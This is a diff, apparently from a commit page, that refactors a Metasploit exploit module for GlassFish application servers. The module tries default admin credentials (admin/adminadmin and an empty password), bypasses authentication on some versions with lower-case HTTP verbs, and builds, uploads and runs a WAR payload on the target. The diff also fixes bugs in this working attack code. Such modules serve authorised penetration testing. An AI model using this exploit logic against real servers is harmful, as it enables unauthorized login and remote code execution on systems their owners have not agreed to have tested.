@@ -86,7 +86,7 @@ def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
86
86
def auto_target ( session , res , version )
87
87
print_status ( "Attempting to automatically select a target..." )
88
88
89
- res = query_serverinfo ( session , version )
89
+ res = query_serverinfo ( session , version )
90
90
return nil unless res
91
91
return nil unless res . body
92
92
@@ -601,7 +601,7 @@ def upload_exec(opts = {})
601
601
print_status ( "Error: #{ rhost } did not respond on #{ app_rport } ." )
602
602
end
603
603
604
- #Sleep for a bit before cleanup
604
+ # Sleep for a bit before cleanup
605
605
select ( nil , nil , nil , 5 )
606
606
607
607
#Start undeploying
@@ -619,10 +619,8 @@ def upload_exec(opts = {})
619
619
print_status ( "Undeployment complete." )
620
620
end
621
621
622
- def init_loginscanner ( creds )
623
- @cred_collection = Metasploit ::Framework ::CredentialCollection . new (
624
- userpass_file : creds * "\n "
625
- )
622
+ def init_loginscanner
623
+ @cred_collection = Metasploit ::Framework ::CredentialCollection . new
626
624
627
625
@scanner = Metasploit ::Framework ::LoginScanner ::Glassfish . new (
628
626
configure_http_login_scanner (
@@ -654,30 +652,44 @@ def try_glassfish_auth_bypass(version)
654
652
end
655
653
656
654
def my_target_host
657
- path = normalize_uri ( datastore [ 'PATH' ] )
658
- my_target_host = "http://#{ rhost . to_s } :#{ rport . to_s } /#{ path . to_s } "
655
+ my_target_host = "http://#{ rhost . to_s } :#{ rport . to_s } #{ normalize_uri ( datastore [ 'PATH' ] ) } "
659
656
end
660
657
661
658
def try_normal_login ( version )
659
+ init_loginscanner
660
+
662
661
case version
663
662
when /2\. x|9\. x/
664
- creds = [ 'admin adminadmin' ]
663
+ @cred_collection . prepend_cred (
664
+ Metasploit ::Framework ::Credential . new (
665
+ public : 'admin' ,
666
+ private : 'adminadmin' ,
667
+ private_type : :password
668
+ ) )
665
669
when /^3\. /
666
- creds = [ 'admin' ]
667
- else
668
- creds = [ ]
670
+ @cred_collection . prepend_cred (
671
+ Metasploit ::Framework ::Credential . new (
672
+ public : 'admin' ,
673
+ private : '' ,
674
+ private_type : :password
675
+ ) )
669
676
end
670
677
671
- creds << "#{ datastore [ 'USERNAME' ] } #{ datastore [ 'PASSWORD' ] } "
672
-
673
- init_loginscanner ( creds )
678
+ @cred_collection . prepend_cred (
679
+ Metasploit ::Framework ::Credential . new (
680
+ public : datastore [ 'USERNAME' ] ,
681
+ private : datastore [ 'PASSWORD' ] ,
682
+ private_type : :password
683
+ ) )
674
684
685
+ @scanner . send_request ( { 'uri' => '/' } )
675
686
@scanner . version = version
676
687
@cred_collection . each do |raw |
677
688
cred = raw . to_credential
689
+ print_status ( "Trying to login as #{ cred . public } :#{ cred . private } " )
678
690
result = @scanner . attempt_login ( cred )
679
- if result == Metasploit ::Model ::Login ::Status ::SUCCESSFUL
680
- return @scanner . : jsession
691
+ if result . status == Metasploit ::Model ::Login ::Status ::SUCCESSFUL
692
+ return @scanner . jsession
681
693
end
682
694
end
683
695
@@ -692,24 +704,20 @@ def attempt_login(version)
692
704
return sid if sid
693
705
end
694
706
695
- try_normal_login ( version , user , pass , 'non-default' )
707
+ try_normal_login ( version )
696
708
end
697
709
698
- def make_war
699
- my_target = auto_target ( sid , res , version ) if target . name =~ /Automatic/
700
- fail_with ( Failure ::NoTarget , "Unable to automatically select a target" ) unless mytarget
701
-
702
- # Generate payload
703
- p = exploit_regenerate_payload ( mytarget . platform , mytarget . arch )
710
+ def make_war ( selected_target )
711
+ p = exploit_regenerate_payload ( selected_target . platform , selected_target . arch )
704
712
705
713
jsp_name = rand_text_alphanumeric ( 4 +rand ( 32 -4 ) )
706
714
app_base = rand_text_alphanumeric ( 4 +rand ( 32 -4 ) )
707
715
708
716
war = p . encoded_war ( {
709
717
:app_name => app_base ,
710
718
:jsp_name => jsp_name ,
711
- :arch => mytarget . arch ,
712
- :platform => mytarget . platform
719
+ :arch => selected_target . arch ,
720
+ :platform => selected_target . platform
713
721
} ) . to_s
714
722
715
723
return app_base , jsp_name , war
@@ -729,8 +737,8 @@ def exploit
729
737
730
738
# Set HTTP verbs. Lower-case is used to bypass auth on v3.0
731
739
@verbs = {
732
- 'GET' => ( version == '3.0' || version == '2.x' || version || '9.x' ) ? " get" : 'GET' ,
733
- 'POST' => ( version == '3.0' || version == '2.x' || version || '9.x' ) ? 'post' : 'POST' ,
740
+ 'GET' => ( version == '3.0' || version == '2.x' || version == '9.x' ) ? ' get' : 'GET' ,
741
+ 'POST' => ( version == '3.0' || version == '2.x' || version == '9.x' ) ? 'post' : 'POST' ,
734
742
}
735
743
736
744
sid = attempt_login ( version )
@@ -739,7 +747,10 @@ def exploit
739
747
fail_with ( Failure ::NoAccess , "#{ my_target_host ( ) } - GlassFish - Failed to authenticate login" )
740
748
end
741
749
742
- app_base , jsp_name , war = make_war
750
+ selected_target = target . name =~ /Automatic/ ? auto_target ( sid , res , version ) : target
751
+ fail_with ( Failure ::NoTarget , "Unable to automatically select a target" ) unless selected_target
752
+
753
+ app_base , jsp_name , war = make_war ( selected_target )
743
754
print_status ( "Uploading payload..." )
744
755
res = upload_exec ( {
745
756
:session => sid ,
0 commit comments